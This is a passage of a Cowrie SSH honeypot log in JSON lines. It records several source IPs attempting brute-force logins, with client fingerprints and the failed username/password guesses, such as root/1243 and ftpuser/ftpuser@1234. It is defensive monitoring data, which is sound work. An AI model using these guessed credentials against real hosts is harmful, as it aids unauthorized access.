@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:54.084613Z","src_ip":"159.203.92.129","session":"a18a33d563c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexandrea","password":"alexandrea","message":"login attempt [alexandrea/alexandrea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:54.137744Z","src_ip":"159.203.92.129","session":"a18a33d563c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:55.144064Z","src_ip":"159.203.92.129","session":"a18a33d563c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":51172,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c5eb8aa5a15","protocol":"ssh","message":"New connection: 152.32.213.101:51172 (159.203.135.109:22) [session: 2c5eb8aa5a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:19.156760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:19.163391Z","src_ip":"152.32.213.101","session":"2c5eb8aa5a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:19.390069Z","src_ip":"152.32.213.101","session":"2c5eb8aa5a15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1243","message":"login attempt [root/1243] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:20.290743Z","src_ip":"152.32.213.101","session":"2c5eb8aa5a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:21.518469Z","src_ip":"152.32.213.101","session":"2c5eb8aa5a15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":52798,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb98220d0c1","protocol":"ssh","message":"New connection: 112.217.199.222:52798 (10.17.0.5:22) [session: 0fb98220d0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:37.788620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:37.796797Z","src_ip":"112.217.199.222","session":"0fb98220d0c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:38.003617Z","src_ip":"112.217.199.222","session":"0fb98220d0c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@1234","message":"login attempt [ftpuser/ftpuser@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:38.861184Z","src_ip":"112.217.199.222","session":"0fb98220d0c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41226,"dst_ip":"159.203.135.109","dst_port":22,"session":"a188d9d11efe","protocol":"ssh","message":"New connection: 159.203.92.129:41226 (159.203.135.109:22) [session: a188d9d11efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:39.717937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:39.723155Z","src_ip":"159.203.92.129","session":"a188d9d11efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:39.739943Z","src_ip":"159.203.92.129","session":"a188d9d11efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexei","password":"123456","message":"login attempt [alexei/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:39.757018Z","src_ip":"159.203.92.129","session":"a188d9d11efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:40.070943Z","src_ip":"112.217.199.222","session":"0fb98220d0c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:50:40.765624Z","src_ip":"159.203.92.129","session":"a188d9d11efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":14002,"dst_ip":"159.203.135.109","dst_port":22,"session":"d255b5d81a4c","protocol":"ssh","message":"New connection: 152.32.213.101:14002 (159.203.135.109:22) [session: d255b5d81a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:16.907405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:16.912620Z","src_ip":"152.32.213.101","session":"d255b5d81a4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:17.131924Z","src_ip":"152.32.213.101","session":"d255b5d81a4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456!@","message":"login attempt [root/123456!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:18.016886Z","src_ip":"152.32.213.101","session":"d255b5d81a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:19.235335Z","src_ip":"152.32.213.101","session":"d255b5d81a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53190,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ebd25cf20c8","protocol":"ssh","message":"New connection: 159.203.92.129:53190 (159.203.135.109:22) [session: 7ebd25cf20c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:25.292182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:25.296377Z","src_ip":"159.203.92.129","session":"7ebd25cf20c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:25.301199Z","src_ip":"159.203.92.129","session":"7ebd25cf20c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:25.357670Z","src_ip":"159.203.92.129","session":"7ebd25cf20c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:26.364001Z","src_ip":"159.203.92.129","session":"7ebd25cf20c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.110.147.56","src_port":39214,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae22eb8d5ade","protocol":"ssh","message":"New connection: 222.110.147.56:39214 (10.17.0.5:22) [session: ae22eb8d5ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:32.299908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:32.304644Z","src_ip":"222.110.147.56","session":"ae22eb8d5ade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:32.505348Z","src_ip":"222.110.147.56","session":"ae22eb8d5ade","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:33.339191Z","src_ip":"222.110.147.56","session":"ae22eb8d5ade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:34.541903Z","src_ip":"222.110.147.56","session":"ae22eb8d5ade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":42154,"dst_ip":"10.17.0.5","dst_port":22,"session":"74993759b211","protocol":"ssh","message":"New connection: 112.217.199.222:42154 (10.17.0.5:22) [session: 74993759b211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:35.752447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:35.756583Z","src_ip":"112.217.199.222","session":"74993759b211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:35.962930Z","src_ip":"112.217.199.222","session":"74993759b211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"1234","message":"login attempt [bitrix/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:36.804820Z","src_ip":"112.217.199.222","session":"74993759b211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:51:38.009736Z","src_ip":"112.217.199.222","session":"74993759b211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41848,"dst_ip":"159.203.135.109","dst_port":22,"session":"9756754c2d08","protocol":"ssh","message":"New connection: 159.203.92.129:41848 (159.203.135.109:22) [session: 9756754c2d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:10.764306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:10.768960Z","src_ip":"159.203.92.129","session":"9756754c2d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-